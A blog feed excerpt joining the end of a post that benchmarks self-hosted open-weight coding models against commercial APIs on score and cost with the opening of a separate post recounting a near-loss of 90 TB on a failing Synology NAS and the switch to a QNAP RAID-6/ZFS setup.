<p>It also tends to catch items a sprint late. And it was the one that required its own runtime: vLLM 0.32 with CUDA 13 in a separate environment.</p>
<h3>DeepSeek V4 Flash: 86 in the cloud, 44.5 in my hands<span class="hx:absolute hx:-mt-20" id="deepseek-v4-flash-86-in-the-cloud-445-in-my-hands"></span>
    <a href="#deepseek-v4-flash-86-in-the-cloud-445-in-my-hands" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The most important case for anyone considering self-hosting. <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash"target="_blank" rel="noopener">DeepSeek V4 Flash</a>, 284 billion with 13 active, scored <strong>86, Tier A, for 97 cents</strong> through the API in September, and the 0731 version, exactly the one I downloaded, scored 85 for 1.94. The same public weights in mixed FP4 and FP8, served by me on the B300, scored <strong>44.5, Tier D</strong>: it caught 4 items unprompted, 5 more at the reveal, and left 5 unresolved. It was the fastest to finish, 37 minutes, and the least vigilant.</p>
<p>The likely cause is divergence between the public checkpoint and what DeepSeek serves, or between their serving stack and mine: parser, chat template, reasoning mode, quantization. I followed the official card. What this proves is that the model&rsquo;s name on Hugging Face doesn&rsquo;t guarantee the hosted API&rsquo;s quality, and that whoever is going to host needs to validate before trusting.</p>
<h3>GLM 4.7 Flash: same as local, meaning bad<span class="hx:absolute hx:-mt-20" id="glm-47-flash-same-as-local-meaning-bad"></span>
    <a href="#glm-47-flash-same-as-local-meaning-bad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The 30-billion GLM 4.7 Flash in BF16, at 217 tokens per second, scored 33.5. At home, in GGUF Q5, it had scored 24. It needed two nudges, left nine items unresolved and delivered a migration with a syntax error. The nine-and-a-half-point difference fits within single-run noise; what remains is that the model is weak either way.</p>
<h3>What showed up in several<span class="hx:absolute hx:-mt-20" id="what-showed-up-in-several"></span>
    <a href="#what-showed-up-in-several" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Ornith, Muse Glimmer and the 397B shared a hygiene defect: they ran the sprint to the end with exit zero and forgot to commit their own work, leaving it for the reviewer to checkpoint. It didn&rsquo;t go into the score, and on a real team it would be the first complaint. And the 81-to-83 cluster, ThinkingCap, Ornith and Muse, has a consistent profile: it catches SQL injection, tenant leaks, XSS and exposed secrets with confidence, and lets the quiet items through, broken access control, test integrity, missing index, wrong aggregate.</p>
<h2>How far from the frontier<span class="hx:absolute hx:-mt-20" id="how-far-from-the-frontier"></span>
    <a href="#how-far-from-the-frontier" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The three best open models against the best commercial ones from the same ranking, with the cost and time of each run:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Run cost</th>
          <th style="text-align: right">Minutes</th>
          <th>Where</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPT-6 Astra</td>
          <td style="text-align: right">100.0</td>
          <td>A</td>
          <td style="text-align: right">US$ 30.55</td>
          <td style="text-align: right">100</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Claude Opus 5.5</td>
          <td style="text-align: right">100.0</td>
          <td>A</td>
          <td style="text-align: right">US$ 16.63</td>
          <td style="text-align: right">64</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>GPT 5.6 terra</td>
          <td style="text-align: right">100.0</td>
          <td>A</td>
          <td style="text-align: right">US$ 9.52</td>
          <td style="text-align: right">80</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Grok 4.6</td>
          <td style="text-align: right">98.5</td>
          <td>A</td>
          <td style="text-align: right">US$ 13.00</td>
          <td style="text-align: right">67</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Claude Fable 5.1</td>
          <td style="text-align: right">95.5</td>
          <td>A</td>
          <td style="text-align: right">~US$ 51</td>
          <td style="text-align: right">133</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td><strong>GLM 5.3 Flash (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 21.96 inference only</td>
          <td style="text-align: right">145</td>
          <td>B300</td>
      </tr>
      <tr>
          <td><strong>Qwen3.8 Flash-Next (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 12.04 inference only</td>
          <td style="text-align: right">80</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">91.0</td>
          <td>A</td>
          <td style="text-align: right">~US$ 27</td>
          <td style="text-align: right">112</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Gemini 3.8 Flash high</td>
          <td style="text-align: right">90.5</td>
          <td>A</td>
          <td style="text-align: right">US$ 15.98</td>
          <td style="text-align: right">97</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td><strong>Swift 1.5 27B</strong></td>
          <td style="text-align: right"><strong>88.0</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 9.71 inference only</td>
          <td style="text-align: right">64</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">87.5</td>
          <td>A</td>
          <td style="text-align: right">US$ 25.64</td>
          <td style="text-align: right">89</td>
          <td>cloud</td>
      </tr>
  </tbody>
</table>
<p>The reading: the best of the open source that fits on a B300 and that I served sits <strong>one step below the commercial ceiling and level with the middle of Tier A</strong>. Differences of one or two points are single-run noise.</p>
<p>GLM 5.3 Flash and Qwen3.8 Flash-Next tie with Sonnet 5 and pass Gemini 3.8 Flash and Opus 4.6. None reaches the 100 that seven commercial models scored, nor Grok 4.6&rsquo;s 98.5. Seven and a half points separate the best open model from the ceiling, and in v4 every point is one less sabotage caught unprompted.</p>
<p>The difference that matters is another: predictability. Among the top commercial models in the table, the worst is 87.5, and the full commercial field also has a bottom, Mistral Large 3 scored 39. The open field has the same 92.5 at the top and two Tier D at the bottom, with DeepSeek scoring 85 in the cloud and 44.5 in my hands. Choosing a top commercial model is choosing a number the API reproduces; choosing an open one is betting that the checkpoint, the quantization and your serving stack reproduce the number on the card, and sometimes they do.</p>
<h2>The math<span class="hx:absolute hx:-mt-20" id="the-math"></span>
    <a href="#the-math" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If quality still falls short of the frontier, is the cost at least proportional? It depends on where you run the open model.</p>
<p><strong>On the vendor&rsquo;s own cloud API, yes, and by a wide margin.</strong> A full v4 run cost 97 cents on DeepSeek V4 Flash, 1.17 dollars on Qwen 3.8 Flash, 1.03 on MiMo V2.5 Pro, all Tier A in the cloud. Against 9.52 to 30.55 dollars for the 100-point models, that&rsquo;s ten to thirty times cheaper for a score 8 to 14 points lower. The list prices explain it: <a href="https://docs.z.ai/guides/overview/pricing"target="_blank" rel="noopener">GLM 5.3 Flash</a> costs 15 cents per million input tokens and 50 for output; <a href="https://api-docs.deepseek.com/quick_start/pricing"target="_blank" rel="noopener">DeepSeek Flash</a>, 15 to 30 cents input and 60 cents to 1.20 output; <a href="https://platform.claude.com/docs/en/about-claude/pricing"target="_blank" rel="noopener">Opus 5.5</a>, 4 and 20 dollars; <a href="https://developers.openai.com/api/docs/pricing"target="_blank" rel="noopener">GPT-6 Astra</a>, 10 and 50.</p>
<p><strong>On your own rented B300, no.</strong> The pod costs 9 dollars an hour on or idle, <strong>218 a day, about 6,500 a month</strong>. The model time of this whole batch, 14 models across download, load and sprints, added up to 23 hours, about 212 dollars at pod price; the sprints alone were 17 hours and 157 dollars.</p>
<p>But the pod also charges for the time when nothing runs. I put 400 dollars of credit on Runpod and 127 were left: the whole batch cost <strong>273 dollars</strong>, about 30 pod-hours, including storage, four pods in sequence and seven idle hours one night when the orchestration died and nothing warned me. Almost 60 dollars more than the model time, just waiting. The repository&rsquo;s break-even math: the pod only gets cheaper than the API from about <strong>6,500 runs a month</strong>, 217 a day, sustained. A solo developer or a small team doesn&rsquo;t come close.</p>
<p>And model against model, side by side:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Cloud API</th>
          <th>Hosted by me on the B300</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4 Flash 0731</td>
          <td>85 (A) for US$ 1.94</td>
          <td>44.5 (D) for US$ 5.59 inference only</td>
      </tr>
      <tr>
          <td>Qwen 3.8 Flash (cloud) and Flash-Next (B300), same family</td>
          <td>86.5 (A) for US$ 1.17</td>
          <td>92.5 (A) for US$ 12.04</td>
      </tr>
      <tr>
          <td>Qwen 3.8 27B</td>
          <td>80 (B) for free on the Strix, in 706 minutes</td>
          <td>80.5 (B) for US$ 29.11, in 192 minutes</td>
      </tr>
  </tbody>
</table>
<blockquote>
  <p>The cloud API of an open model is ten to thirty times cheaper than the frontier for one tier less. Hosting the same model on a rented B300 is more expensive than the frontier, and sometimes worse than its own API.</p>

</blockquote>
<h2>Does a team fit on the same card?<span class="hx:absolute hx:-mt-20" id="does-a-team-fit-on-the-same-card"></span>
    <a href="#does-a-team-fit-on-the-same-card" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A question I asked while looking at the GPU at 10% utilization: do these models use all of the pod&rsquo;s compute? Could a whole team go on the same B300?</p>
<p>In principle, yes, and that&rsquo;s what vLLM exists for. <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">Continuous batching</a> schedules several requests in the same decode step, and <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">PagedAttention</a> stores each session&rsquo;s KV cache in non-contiguous blocks, with under 4% waste, precisely to fit more sessions in the same memory. A 27-billion model in BF16 takes 56 GB and leaves about 200 GB of KV cache: that&rsquo;s dozens of agent sessions with 128K-token context at the same time. The 397B, with 251 GB of weights, leaves 24, and then few fit.</p>
<p>What doesn&rsquo;t scale is speed per person. My test ran in <code>--performance-mode interactivity</code>, which optimizes single-stream latency, and the 200 tokens per second are that stream&rsquo;s. With ten agents decoding at the same time, the card&rsquo;s aggregate throughput rises and each one&rsquo;s falls, and the speculative decoding that gave me Muse Glimmer&rsquo;s 295 yields less as concurrency grows: a <a href="https://huggingface.co/z-lab/Muse-Glimmer-30B-DFlash2"target="_blank" rel="noopener">DFlash drafter published for Muse by Z Lab</a> reports 3 to 4.6 times gain with one session and 1.2 to 1.7 with 32.</p>
<p>I didn&rsquo;t measure concurrency in this batch, so what I can say is the outline: a team of five to ten people on a 27-to-35-billion model on one B300 is practical, and each one probably still stays above 100 tokens per second. The same team on the 397B is unworkable on the card, and on the 198 GB GLM 5.3 Flash it gets tight.</p>
<p>It&rsquo;s in that scenario, and only there, that the pod math starts to close. Ten developers running an agent all day on a 27B model would spend, on the API, at a dollar per two-hour run, about 40 dollars a day; the pod costs 218. It still loses. What changes the math is having a hundred people, or being required to keep the code from leaving your network.</p>
<h2>Is owning your own infra worth it?<span class="hx:absolute hx:-mt-20" id="is-owning-your-own-infra-worth-it"></span>
    <a href="#is-owning-your-own-infra-worth-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>For serious software development, with this batch&rsquo;s data, the answer comes in three parts.</p>
<p><strong>The top open models are good enough.</strong> GLM 5.3 Flash, Qwen3.8 Flash-Next and Swift 1.5 27B are Tier A in my test, at Sonnet 5 level and above Opus 4.6. That was unthinkable in April, when <a href="/en/2026/04/05/testing-llms-open-source-and-commercial-can-anyone-beat-claude-opus/">only Qwen 3.6 35B came close to Opus</a>, and still one fix away. For anyone who accepts one tier below the ceiling, they serve for real work, including security review, which is what v4 measures.</p>
<p><strong>Renting a B300 to run them is the wrong way to use them.</strong> The cloud API of the same model costs a dollar per run and needs zero configuration. The pod costs 218 a day, demands a day of tuning per model family, and in DeepSeek&rsquo;s case delivered a worse model than its own API. It&rsquo;s only worth it with a data-residency obligation, with a checkpoint no cloud serves, with sustained load of hundreds of runs a day, or with a need for pinned weights for reproducibility. Four B300s to run the 750-billion-to-one-trillion models quadruple the bill with no evidence the score reaches 100: the 397B, the biggest model I tested, scored 68.5.</p>
<p><strong>And if you&rsquo;re going to host, host small.</strong> Swift 1.5 27B and ThinkingCap at 56 GB, with MTP, at 200 tokens per second, are Tier A on hardware you can buy, a professional 80 or 96 GB card instead of a datacenter one. That&rsquo;s where open source makes sense for a company: a whole team on one card, code inside the network, an Opus 4.6 score. Just check the license first: Swift and ThinkingCap ship with their own licenses, and above a certain revenue both require a commercial license. The open giants remain an API thing.</p>
<p>My rule after all this: top commercial model for tasks that can&rsquo;t fail, open-model API for volume, and your own card only when the law or the client demands it. The repository with every serving argument, every probe log, every reviewer transcript and the Codex-or-Claude provenance of every boundary is <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">public</a>, as always.</p>
]]></content:encoded><category>llm-benchmarks</category><category>local-models</category><category>llms</category><category>hardware</category></item><item><title>Disaster on My NAS! How I Almost Lost 90 TB of Data</title><link>https://www.akitaonrails.com/en/2026/10/06/disaster-on-my-nas-how-i-almost-lost-90-tb-of-data/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/06/disaster-on-my-nas-how-i-almost-lost-90-tb-of-data/</guid><pubDate>Tue, 06 Oct 2026 12:00:00 -0300</pubDate><description>&lt;p&gt;Yesterday, Monday, I was woken up at 8 a.m. by a loud, insistent beep. I knew it was the NAS before I opened my eyes. I ran to check, and nearly lost it: two drives marked as critical, in an array that can never have more than one.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Synology panel showing Storage Pool 1 in critical state, with drives 1 and 8 marked Critical" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;At that moment I knew I was a hiccup away from losing everything. This post is the post-mortem of what happened, and the first part was written in the heat of the disaster, with the rescue copy still running.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Yesterday, Monday, I was woken up at 8 a.m. by a loud, insistent beep. I knew it was the NAS before I opened my eyes. I ran to check, and nearly lost it: two drives marked as critical, in an array that can never have more than one.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Synology panel showing Storage Pool 1 in critical state, with drives 1 and 8 marked Critical"  loading="lazy" /></p>
<p>At that moment I knew I was a hiccup away from losing everything. This post is the post-mortem of what happened, and the first part was written in the heat of the disaster, with the rescue copy still running.</p>
<blockquote>
  <p><strong>Update of October 11:</strong> the copy finished and the ending was a happy one. No file was lost by accident, both NASes are healthy, each with its own RAID-6. The full recovery is in the <a href="#six-days-later-the-end-of-the-story">second half of this post</a>. The first part stays as it was published, untouched.</p>

</blockquote>
<h2>I&rsquo;ve been using a NAS for a long time<span class="hx:absolute hx:-mt-20" id="ive-been-using-a-nas-for-a-long-time"></span>
    <a href="#ive-been-using-a-nas-for-a-long-time" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;m not new to this. I made an <a href="https://www.youtube.com/playlist?list=PLdsnXVqbHDUcM0LTAxqrVrTy6Q7jQprjt"target="_blank" rel="noopener">entire video mini-series on storage and filesystems</a> (in Portuguese), and I recommend watching it before asking me &ldquo;what&rsquo;s a good beginner NAS?&rdquo;. There is no such thing.</p>
<p>I&rsquo;ve used external storage since the second half of the 2000s, when I was a Mac user and Drobo existed. The company is gone, but I had three of their DAS units before migrating to Synology, first on an entry-level model and then on the mid-tier DS1821+, which I&rsquo;ve been using for more than five years. I&rsquo;ve written about it here, <a href="/en/2025/04/17/configuring-my-synology-nas-with-nfs-on-linux/">setting up NFS on Linux</a> and <a href="/en/2025/04/24/accessing-your-nas-using-iscsi-instead-of-smb/">accessing it over iSCSI</a>.</p>
<p>It&rsquo;s been very valuable to me, and you don&rsquo;t get to question why I need that much space. It doesn&rsquo;t matter: everyone decides what they keep on theirs.</p>
<p>When I was producing YouTube videos, I edited 4K footage straight from the NAS, thanks to the NVMe cache and 10 GbE networking. I got used to big storage at 10 gigabits and I can&rsquo;t go back.</p>
<p>The array was organized in SHR, Synology&rsquo;s hybrid RAID, which in practice behaves like RAID-5 (more on that later): it survives the loss of one drive without losing any data. I always thought that was enough.</p>
<h2>Hard drives die. Always<span class="hx:absolute hx:-mt-20" id="hard-drives-die-always"></span>
    <a href="#hard-drives-die-always" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Make no mistake: hard drives go bad. Never, ever trust a lone drive forgotten in a closet. It will fail, and you will lose everything on it.</p>
<p>The best public data on this comes from Backblaze, which runs hundreds of thousands of drives and publishes failure rates every quarter. In the <a href="https://www.backblaze.com/blog/backblaze-drive-stats-for-q2-2026/"target="_blank" rel="noopener">Q2 2026 report</a>, with 354,415 drives monitored, the annualized rate was 1.73%, and the lifetime rate for the whole fleet stands at 1.41% per year.</p>
<p>That sounds small. Translated to human scale:</p>
<ul>
<li><strong>One drive on its own, for 5 years:</strong> the chance of it dying in that period is close to 7%. That&rsquo;s roughly the chance of rolling one specific number on a 14-sided die. Would you bet every family photo on that?</li>
<li><strong>One drive on its own, for 10 years:</strong> about 13%, one in eight.</li>
<li><strong>Eight drives, like my NAS, for one year:</strong> the chance of at least one failing is about 11%. In five years, more than 40%.</li>
</ul>
<p>And those numbers are from a datacenter, with controlled temperature, clean power and drives spinning all the time. A drawer drive that sits idle for years and gets knocked around in a move doesn&rsquo;t have statistics that pretty.</p>
<p>Memory cards are worse, and there isn&rsquo;t even an equivalent statistic to consult. What exists is torture testing: the <a href="https://www.bahjeez.com/the-great-microsd-card-survey-one-year-later/"target="_blank" rel="noopener">Great MicroSD Card Survey</a> tested 216 cards over a year of continuous writing, and 52 of them, one in four, had already died.</p>
<p>Genuine cards started throwing errors, on average, after about 2,500 rewrite cycles; counterfeit cards, after 700. A memory card is transport media. Keeping the only copy of anything on a microSD is asking to lose it.</p>
<p>The practical conclusion is the same as in the mini-series: important data needs redundancy. A parity array exists precisely so that the death of one drive, which is a matter of time, doesn&rsquo;t take anything with it.</p>
<h2>What happened<span class="hx:absolute hx:-mt-20" id="what-happened"></span>
    <a href="#what-happened" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>With all that, I should have been at ease with my setup. I wasn&rsquo;t.</p>
<p>It started the day before yesterday, Sunday. For a while I&rsquo;d been watching the volume approach the ceiling.</p>
<p>At first it was 8 drives of 10 TB. Over the years I swapped them, one by one, for 20 TB drives (DSM shows binary units; on the label they&rsquo;re 12 and 22 TB). It&rsquo;s a slow process: each swap takes days, because the array has to rebuild and redistribute the data.</p>
<p>I decided to swap one more, the seventh. Synology supports hot-swap, so it&rsquo;s simple: pull the old drive, slot in the new one, add it to the array and let DSM handle the rebuild.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-pool-reparando.png" alt="Synology Storage Pool 1 repairing, 0.01% complete, with 108 TB allocated out of 121.8 TB"  loading="lazy" /></p>
<p>On Sunday night it looked like this: rebuild starting, all eight drives healthy, 108 TB allocated out of 121.8 TB.</p>
<p>On Monday, at 8 a.m., the beep. Drive 1, the new one, with 13 hours of use, marked critical:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive1-critico.png" alt="Synology drive 1 in critical state, with an I/O error and 13 hours powered on"  loading="lazy" /></p>
<p>And drive 8, one of the old ones, with 22,095 hours powered on (two and a half years), also critical, with a read error at 08:05:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive8-critico.png" alt="Synology drive 8 in critical state, with a read error and the message that the number of failed drives exceeds the RAID’s fault tolerance"  loading="lazy" /></p>
<p>The pool&rsquo;s message left no room: &ldquo;Unrecoverable errors have occurred because drive errors occurred after storage pool degradation. Please back up your data immediately.&rdquo;</p>
<h3>Why two drives is the end<span class="hx:absolute hx:-mt-20" id="why-two-drives-is-the-end"></span>
    <a href="#why-two-drives-is-the-end" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In RAID-5, if two drives go down, redundancy is zero, and in theory the whole array goes with them. It&rsquo;s an unrecoverable situation.</p>
<p>Anyone who watched my playlist knows why. An array like this doesn&rsquo;t store &ldquo;files,&rdquo; one per drive. A file is a collection of blocks, and the blocks are spread across all the drives, along with the parity. Losing a drive is losing a piece of every file. It doesn&rsquo;t matter that the other seven are healthy, because they only have parts.</p>
<p>Parity is there to recompute the missing piece when one drive disappears. With two missing, the math doesn&rsquo;t close.</p>
<p>And there&rsquo;s a cruel detail in the rebuild: to recreate the new drive, the array has to read every other drive end to end. That&rsquo;s more than 100 TB of continuous reading. If some old drive had a bad sector hiding in a corner nobody had read in a long time, that&rsquo;s when it shows up. That&rsquo;s what happened with drive 8.</p>
<h2>Where do you copy 90 TB to?<span class="hx:absolute hx:-mt-20" id="where-do-you-copy-90-tb-to"></span>
    <a href="#where-do-you-copy-90-tb-to" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The only way out, at that point, was to thank the heavens that the volumes were still accessible, with the files showing up, and use the window to copy everything out immediately. I couldn&rsquo;t touch anything else.</p>
<p>The problem: copy about 90 TB to where? Nobody has an empty 100 TB NAS lying around at home.</p>
<p>Normally I&rsquo;d buy this kind of hardware in the United States, on a tourist trip, and bring it back with me. It&rsquo;s much cheaper. Buying expensive electronics in Brazil isn&rsquo;t worth it: the country has charged import taxes worse than Trump&rsquo;s tariffs for decades, and the final price usually goes past double the American list price.</p>
<p>Except I had to choose. What is it worth to lose 90 TB of data I spent years collecting and that is nearly impossible to recover from anywhere else? It&rsquo;s one of those situations where the answer is &ldquo;it&rsquo;s priceless,&rdquo; and so, whatever the price, I pay.</p>
<p>I found a storage reseller close to home, <a href="https://www.controle.net"target="_blank" rel="noopener">Controle Net</a>. Good people, very quick to respond, and they sent me a proposal for equipment with same-day delivery.</p>
<p>Their first suggestion was a QNAP TS-832PX. I researched it before accepting. It has the same 8 bays and ships with 10 GbE, but the processor is a 1.7 GHz ARM Cortex-A57 (Annapurna Labs AL324) with 4 GB of RAM, half the 8 GB minimum that QuTS hero asks for. For RAID-6 on ZFS, with checksums and double parity on every block, that&rsquo;s weak hardware, as I explain further down. And it would be a downgrade from the DS1821+ I already had, which runs on a Ryzen V1500B.</p>
<p>I asked for another option, and after some back and forth I settled on a QNAP TS-873A, 8 bays, with the same Ryzen V1500B as my Synology, 8 GB of RAM, and 10 Toshiba MG11 24 TB enterprise-class drives.</p>
<p>This is why you have to do your own research and know, objectively, what you want to do with the equipment. The reseller didn&rsquo;t act in bad faith: they suggested an 8-bay NAS to someone who asked for an 8-bay NAS. The one who knew it would run ZFS in RAID-6 was me. If I had accepted the first proposal in a panic, I&rsquo;d have paid a lot for a worse machine than the one I was replacing.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-proposta-qnap.png" alt="Reseller proposal: QNAP TS-873A, 10 Toshiba MG11ACA24TE 24 TB drives, installation, training and 6 years of support, total R$ 185,320.00"  loading="lazy" /></p>
<p>R$ 185,320.00. Eye-watering.</p>
<h3>What it would cost in the United States<span class="hx:absolute hx:-mt-20" id="what-it-would-cost-in-the-united-states"></span>
    <a href="#what-it-would-cost-in-the-united-states" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I checked today&rsquo;s American list prices. About the exchange rate: the dollar is at R$ 4.97 right now, but that&rsquo;s the effect of Sunday&rsquo;s first-round election results, which knocked the rate down more than 4% on Monday. Through Friday it closed at R$ 5.22, and that&rsquo;s the fair rate to compare with, because that&rsquo;s the rate the reseller&rsquo;s stock was built at:</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">US price</th>
          <th style="text-align: right">Total</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>QNAP TS-873A-8G (<a href="https://store.qnap.com/ts-873a-8g-us.html"target="_blank" rel="noopener">QNAP store</a>, Newegg)</td>
          <td style="text-align: right">US$ 1,199</td>
          <td style="text-align: right">US$ 1,199</td>
      </tr>
      <tr>
          <td>10 × Toshiba MG11ACA24TE 24 TB (<a href="https://www.bhphotovideo.com/c/product/1889900-REG/toshiba_mg11aca24te_24tb_mg10_series_7200.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 999.99 each</td>
          <td style="text-align: right">US$ 9,999.90</td>
      </tr>
      <tr>
          <td>10 GbE card QXG-10G2T-X710 (<a href="https://www.bhphotovideo.com/c/product/1643883-REG/qnap_qxg_10g2t_x710_dual_port_10gbase_t_10gbe_network.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 351.99</td>
          <td style="text-align: right">US$ 351.99</td>
      </tr>
      <tr>
          <td><strong>Total</strong></td>
          <td style="text-align: right"></td>
          <td style="text-align: right"><strong>~US$ 11,550</strong></td>
      </tr>
  </tbody>
</table>
<p>At R$ 5.22, about R$ 60 thousand. I paid R$ 185 thousand, more than three times that.</p>
<p>The comparison isn&rsquo;t perfect: the Brazilian proposal includes installation, training and six years of technical support, and the equipment was on my desk by the end of the same day. But it gives the measure of the Brazil effect.</p>
<p>If the rule of thumb is &ldquo;double the American price,&rdquo; normal would be about R$ 120 thousand. The extra R$ 65 thousand is, in my own rough estimate, the sum of services, local stock of enterprise drives and my urgency. Whoever buys on a Monday morning with the array dying is in no position to haggle.</p>
<h3>And drives are expensive everywhere<span class="hx:absolute hx:-mt-20" id="and-drives-are-expensive-everywhere"></span>
    <a href="#and-drives-are-expensive-everywhere" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>To make it worse, this is the worst possible moment to buy hard drives. The AI bubble is sucking up production.</p>
<table>
  <thead>
      <tr>
          <th>Indicator</th>
          <th>Before</th>
          <th>Now</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>WD Blue 4 TB (Camelcamelcamel history)</td>
          <td>US$ 67 to 85</td>
          <td>US$ 99, <a href="https://winbuzzer.com/2026/02/18/wd-seagate-2026-hard-drive-shortage-ai-data-centers-xcxwbn/"target="_blank" rel="noopener">nearly 50% more in five months</a> (February 2026)</td>
      </tr>
      <tr>
          <td>Production capacity</td>
          <td>available at retail</td>
          <td>WD: 2026 practically sold out, with contracts through 2027 and 2028; Seagate: nearline capacity fully allocated</td>
      </tr>
      <tr>
          <td>WD gross margin</td>
          <td>41.0% a year earlier</td>
          <td><a href="https://datacenterdisk.com/news/hard-drive-prices-up-50-percent-2026"target="_blank" rel="noopener">54.1% in the quarter ended July 2026</a></td>
      </tr>
  </tbody>
</table>
<p>I thought Seagate had left the consumer market. I checked, and that&rsquo;s not quite it: it hasn&rsquo;t left, but in February 87% of its hard drive sales were already nearline drives, for datacenters, and WD gets 89% of its revenue from cloud customers and only 5% from retail. WD&rsquo;s CEO said the company is &ldquo;pretty much sold out for calendar year 2026.&rdquo;</p>
<p>Seagate has said it won&rsquo;t expand production capacity; growth comes only from higher-density drives. For someone buying drives at home, the practical effect is similar to them having left: you get what the hyperscalers didn&rsquo;t want, at whatever price the seller asks.</p>
<h2>QNAP instead of another Synology<span class="hx:absolute hx:-mt-20" id="qnap-instead-of-another-synology"></span>
    <a href="#qnap-instead-of-another-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After spending the morning and afternoon between negotiation, paperwork and payment, by the end of the day I had the QNAP powered on next to the Synology.</p>
<p>Choosing QNAP went beyond availability. Synology has been making questionable business decisions.</p>
<p>In 2025 it launched the Plus line <a href="https://www.tomshardware.com/pc-components/nas/synology-walks-back-controversial-compatibility-policy-for-2025-nas-units-third-party-hdd-and-ssd-support-returns-with-diskstation-manager-7-3-update"target="_blank" rel="noopener">requiring its own-brand drives or drives it certified</a>.</p>
<p>The own-brand ones are Seagate, Toshiba and WD drives rebadged with custom firmware, and anyone using something else was left without pool creation, health monitoring, deduplication or firmware updates. After the outcry, it <a href="https://www.howtogeek.com/synology-is-walking-back-its-drive-requirements/"target="_blank" rel="noopener">walked that back in DSM 7.3</a> and allowed HDDs and SATA SSDs from other brands.</p>
<p>Except M.2 pools still require the compatibility list. The uncertainty is left hanging: what stops them from doing it again?</p>
<p>Setting up the QNAP is very easy. QuTS hero, their ZFS-based system, is as simple to use as Synology&rsquo;s DSM.</p>
<h2>Fixing my mistake: RAID-6 and ZFS<span class="hx:absolute hx:-mt-20" id="fixing-my-mistake-raid-6-and-zfs"></span>
    <a href="#fixing-my-mistake-raid-6-and-zfs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This time I knew I had to configure RAID-6, which survives two drives failing at the same time. The downside is less total capacity, because the equivalent of two drives becomes parity instead of one. The upside is that I shouldn&rsquo;t have to go through an emergency like this again.</p>
<p>One of QNAP&rsquo;s strengths is supporting ZFS out of the box, well integrated and easy to use.</p>
<p>For those who don&rsquo;t know it: ZFS was born at Sun Microsystems, for Solaris, in the mid-2000s, and today lives on as OpenZFS on Linux and FreeBSD. It merges into one system what used to be three layers, the RAID, the volume manager and the filesystem. It keeps a checksum of every block, so it notices when a drive silently returns corrupted data, and repairs it on its own from parity. And it never overwrites data in place: every write goes to a new block, which makes snapshots practically free.</p>
<p>Its reputation as a RAM hog comes from two things. The first is the ARC, its cache, which by design takes up almost all the machine&rsquo;s free memory. That scares anyone looking at the graph, but it&rsquo;s cache: it gives the memory back when another process asks. The second is deduplication, which keeps a huge table with the hash of every block and needs it in RAM or it becomes unusably slow. The old rule of &ldquo;1 GB of RAM per TB of disk&rdquo; comes from there, and only applies to people who turn deduplication on.</p>
<p>Even without it, ZFS is heavier than ext4 or a simple Btrfs. Computing checksums, compression and double parity for every block costs CPU, and with little memory the cache shrinks and everything gets slow. On weak hardware, like an entry-level NAS with an ARM processor and 2 GB of RAM, it suffers.</p>
